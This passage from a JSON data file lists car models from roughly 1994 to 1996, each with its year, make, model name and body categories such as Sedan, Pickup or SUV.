"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Buick",
"Model": "LeSabre",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Volkswagen",
"Model": "Golf",
"Category": "Hatchback"
},
{
"Year": 1996,
"Make": "Volkswagen",
"Model": "Cabrio",
"Category": "Convertible"
},
{
"Year": 1995,
"Make": "BMW",
"Model": "M3",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "T100 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Alfa Romeo",
"Model": "164",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Acura",
"Model": "TL",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Previa",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Audi",
"Model": "A6",
"Category": "Wagon, Sedan"
},
{
"Year": 1996,
"Make": "Volvo",
"Model": "850",
"Category": "Wagon, Sedan"
},
{
"Year": 1995,
"Make": "Audi",
"Model": "90",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Acura",
"Model": "NSX",
"Category": "Convertible"
},
{
"Year": 1996,
"Make": "Volkswagen",
"Model": "Passat",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Acura",
"Model": "Integra",
"Category": "Sedan, Hatchback"
},
{
"Year": 1995,
"Make": "Acura",
"Model": "Legend",
"Category": "Coupe, Sedan"
},
{
"Year": 1995,
"Make": "Audi",
"Model": "Cabriolet",
"Category": "Convertible"
},
{
"Year": 1995,
"Make": "BMW",
"Model": "3 Series",
"Category": "Hatchback, Sedan, Coupe, Convertible"
},
{
"Year": 1996,
"Make": "Volkswagen",
"Model": "Jetta",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Volvo",
"Model": "960",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "BMW",
"Model": "7 Series",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Tacoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Paseo",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "T100 Xtracab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Buick",
"Model": "Park Avenue",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Buick",
"Model": "Century",
"Category": "Wagon, Sedan"
},
{
"Year": 1995,
"Make": "BMW",
"Model": "5 Series",
"Category": "Wagon, Sedan"
},
{
"Year": 1995,
"Make": "BMW",
"Model": "8 Series",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Buick",
"Model": "Riviera",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Tacoma Xtracab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Buick",
"Model": "Roadmaster",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Audi",
"Model": "S6",
"Category": "Wagon, Sedan"
},
{
"Year": 1995,
"Make": "Buick",
"Model": "Regal",
"Category": "Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Cadillac",
"Model": "DeVille",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "G-Series G30",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Caprice Classic",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Cadillac",
"Model": "Eldorado",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Corsica",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Cadillac",
"Model": "Fleetwood",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Beretta",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "3500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Cadillac",
"Model": "Seville",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Astro Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "G-Series G20",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "1500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "2500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Buick",
"Model": "Skylark",
"Category": "Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Astro Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "G-Series G10",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Corvette",
"Category": "Convertible, Hatchback"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "3500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Blazer",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Impala",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Lumina",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Cavalier",
"Category": "Coupe, Sedan, Convertible"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Camaro",
"Category": "Convertible, Hatchback"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Chrysler",
"Model": "LHS",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "S10 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chrysler",
"Model": "Cirrus",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Chrysler",
"Model": "LeBaron",
"Category": "Convertible"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Intrepid",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram 2500 Club Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "S10 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Monte Carlo",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Dakota Club Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Avenger",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Sportvan G20",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Lumina Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram 2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Neon",
"Category": "Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Sportvan G30",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Dakota Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Lumina Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Chrysler",
"Model": "Concorde",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Caravan Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Chrysler",
"Model": "Sebring",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Chrysler",
"Model": "New Yorker",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Chrysler",
"Model": "Town & Country",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Aerostar Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Eagle",
"Model": "Talon",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram Van 1500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Contour",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Eagle",
"Model": "Summit",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram Wagon 1500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram 3500 Club Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram Van 3500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram Van 2500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Econoline E250 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram 1500 Club Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram 3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Crown Victoria",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Stealth",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Club Wagon",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Spirit",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Viper",
"Category": "Convertible"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Stratus",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram Wagon 2500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Eagle",
"Model": "Vision",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Dodge",
"Model": "Ram Wagon 3500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Bronco",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Aspire",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Aerostar Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Mustang",
"Category": "Convertible, Coupe"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Escort",
"Category": "Hatchback, Wagon"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Econoline E150 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Thunderbird",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Ranger Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "F250 Super Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "F350 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "F350 Super Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Windstar Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Econoline E350 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Probe",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "F350 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Geo",
"Model": "Metro",
"Category": "Hatchback, Sedan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Ranger Super Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "F250 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Windstar Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Geo",
"Model": "Prizm",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Ford",
"Model": "Taurus",
"Category": "Wagon, Sedan"
},
{
"Year": 1995,
"Make": "Geo",
"Model": "Tracker",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Rally Wagon G3500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Rally Wagon G2500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "3500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "2500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "1500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Sonoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Safari Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Safari Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Sonoma Club Coupe Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Jimmy",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Honda",
"Model": "Civic",
"Category": "Hatchback, Sedan, Coupe"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Vandura G2500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Honda",
"Model": "Accord",
"Category": "Sedan, Wagon, Coupe"
},
{
"Year": 1995,
"Make": "Honda",
"Model": "Passport",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Vandura G3500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Hatchback, Sedan"
},
{
"Year": 1995,
"Make": "Honda",
"Model": "Prelude",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Vandura G1500",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Honda",
"Model": "del Sol",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Hyundai",
"Model": "Scoupe",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "HUMMER",
"Model": "H1",
"Category": "SUV, Wagon"
},
{
"Year": 1995,
"Make": "GMC",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Isuzu",
"Model": "Trooper",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "INFINITI",
"Model": "Q",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Isuzu",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Isuzu",
"Model": "Rodeo",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Lexus",
"Model": "SC",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Land Rover",
"Model": "Discovery",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "INFINITI",
"Model": "J",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Kia",
"Model": "Sportage",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Kia",
"Model": "Sephia",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "INFINITI",
"Model": "G",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1995,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Land Rover",
"Model": "Defender 90",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "MX-3",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Mercury",
"Model": "Villager",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Mercedes-Benz",
"Model": "C-Class",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "MX-6",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "626",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Lincoln",
"Model": "Continental",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Mercury",
"Model": "Cougar",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Mitsubishi",
"Model": "Galant",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "929",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "MPV",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Lincoln",
"Model": "Mark VIII",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "B-Series Cab Plus",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Mercedes-Benz",
"Model": "S-Class",
"Category": "Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Mitsubishi",
"Model": "Expo",
"Category": "Wagon"
},
{
"Year": 1995,
"Make": "Mitsubishi",
"Model": "3000GT",
"Category": "Convertible, Hatchback"
},
{
"Year": 1995,
"Make": "Mercedes-Benz",
"Model": "E-Class",
"Category": "Coupe, Convertible, Sedan, Wagon"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "Protege",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Mercury",
"Model": "Sable",
"Category": "Wagon, Sedan"
},
{
"Year": 1995,
"Make": "Mercury",
"Model": "Tracer",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "Millenia",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Mitsubishi",
"Model": "Diamante",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Mitsubishi",
"Model": "Mighty Max Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "MAZDA",
"Model": "RX-7",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Mercury",
"Model": "Grand Marquis",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Mercury",
"Model": "Mystique",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "Altima",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "300ZX",
"Category": "Hatchback, Convertible"
},
{
"Year": 1995,
"Make": "Mitsubishi",
"Model": "Mirage",
"Category": "Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Mitsubishi",
"Model": "Montero",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "Quest",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Oldsmobile",
"Model": "Achieva",
"Category": "Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Mitsubishi",
"Model": "Eclipse",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "King Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "Maxima",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "200SX",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "240SX",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Nissan",
"Model": "Sentra",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Oldsmobile",
"Model": "Aurora",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Plymouth",
"Model": "Acclaim",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Oldsmobile",
"Model": "88",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Oldsmobile",
"Model": "98",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Oldsmobile",
"Model": "Cutlass Supreme",
"Category": "Convertible, Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Oldsmobile",
"Model": "Cutlass Ciera",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Oldsmobile",
"Model": "Silhouette",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Plymouth",
"Model": "Neon",
"Category": "Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Saturn",
"Model": "S-Series",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Suzuki",
"Model": "Samurai",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Camry",
"Category": "Sedan, Coupe, Wagon"
},
{
"Year": 1995,
"Make": "Porsche",
"Model": "911",
"Category": "Coupe, Convertible"
},
{
"Year": 1995,
"Make": "Pontiac",
"Model": "Firebird",
"Category": "Convertible, Hatchback"
},
{
"Year": 1995,
"Make": "Pontiac",
"Model": "Bonneville",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Plymouth",
"Model": "Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Subaru",
"Model": "Legacy",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Subaru",
"Model": "Impreza",
"Category": "Sedan, Wagon, Coupe"
},
{
"Year": 1995,
"Make": "Porsche",
"Model": "968",
"Category": "Coupe, Convertible"
},
{
"Year": 1995,
"Make": "Plymouth",
"Model": "Grand Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Pontiac",
"Model": "Grand Prix",
"Category": "Sedan, Coupe"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Pontiac",
"Model": "Sunfire",
"Category": "Coupe, Convertible, Sedan"
},
{
"Year": 1995,
"Make": "Pontiac",
"Model": "Grand Am",
"Category": "Coupe, Sedan"
},
{
"Year": 1995,
"Make": "Porsche",
"Model": "928",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Pontiac",
"Model": "Trans Sport",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Saab",
"Model": "900",
"Category": "Hatchback, Convertible"
},
{
"Year": 1995,
"Make": "Subaru",
"Model": "SVX",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Saab",
"Model": "9000",
"Category": "Hatchback, Sedan"
},
{
"Year": 1995,
"Make": "Suzuki",
"Model": "Esteem",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Suzuki",
"Model": "Sidekick",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Tercel",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Supra",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Paseo",
"Category": "Coupe"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 1995,
"Make": "Suzuki",
"Model": "Swift",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "T100 Xtracab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Avalon",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "T100 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Tacoma Xtracab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Corolla",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Volvo",
"Model": "850",
"Category": "Wagon, Sedan"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "MR2",
"Category": "Hatchback"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Previa",
"Category": "Van/Minivan"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Celica",
"Category": "Hatchback, Convertible, Coupe"
},
{
"Year": 1995,
"Make": "Volkswagen",
"Model": "Cabrio",
"Category": "Convertible"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Volkswagen",
"Model": "Passat",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Volkswagen",
"Model": "Golf III",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Audi",
"Model": "Quattro",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Alfa Romeo",
"Model": "Spider",
"Category": "Convertible"
},
{
"Year": 1994,
"Make": "Acura",
"Model": "NSX",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "BMW",
"Model": "3 Series",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1994,
"Make": "Alfa Romeo",
"Model": "164",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Xtra Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Cadillac",
"Model": "DeVille",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "BMW",
"Model": "5 Series",
"Category": "Sedan, Wagon"
},
{
"Year": 1995,
"Make": "Toyota",
"Model": "Tacoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Volkswagen",
"Model": "Jetta III",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Volkswagen",
"Model": "GTI",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Buick",
"Model": "Park Avenue",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Audi",
"Model": "90",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Buick",
"Model": "Century",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Audi",
"Model": "S4",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Acura",
"Model": "Integra",
"Category": "Hatchback, Sedan"
},
{
"Year": 1994,
"Make": "Acura",
"Model": "Legend",
"Category": "Coupe, Sedan"
},
{
"Year": 1994,
"Make": "Audi",
"Model": "100",
"Category": "Wagon, Sedan"
},
{
"Year": 1994,
"Make": "Buick",
"Model": "Skylark",
"Category": "Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Acura",
"Model": "Vigor",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Audi",
"Model": "Cabriolet",
"Category": "Convertible"
},
{
"Year": 1994,
"Make": "Buick",
"Model": "Roadmaster",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Buick",
"Model": "LeSabre",
"Category": "Sedan"
},
{
"Year": 1995,
"Make": "Volvo",
"Model": "960",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "BMW",
"Model": "8 Series",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Buick",
"Model": "Regal",
"Category": "Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Cadillac",
"Model": "Eldorado",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "2500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1995,
"Make": "Volvo",
"Model": "940",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "1500 Extended Cab",
